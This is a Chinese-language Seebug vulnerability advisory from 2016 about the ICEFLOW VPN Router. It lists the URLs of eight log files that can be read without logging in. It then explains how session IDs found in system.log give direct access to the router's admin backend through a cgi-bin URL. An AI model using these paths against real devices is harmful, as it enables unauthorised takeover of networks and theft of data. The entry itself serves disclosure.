冰峰VPN /log/system.log 敏感信息泄漏漏洞

2016-01-21T00:00:00
ID SSV:90548
Type seebug
Reporter 哆啦A梦
Modified 2016-01-21T00:00:00

Description

由于“ICEFLOW VPN Router”设备产品存在各种日志文件未授权访问可导致系统敏感信息泄漏。(包括登录成功后的session值)

``` 系统日志http://url/log/system.log

VPN日志http://url/log/vpn.log

移动用户日志http://url/log/mobile.log

防火墙日志http://url/log/firewall.log

访问日志http://url/log/access.log

告警日志http://url/log/warn.log

错误日志http://url/log/error.log

调试日志http://url/log1/debug.log ```

根据日志信息获得session后,可利用实时登录系统管理后台: http://地址/cgi-bin/index?oid=10&session_id=通过“system.log”文件获取&l=0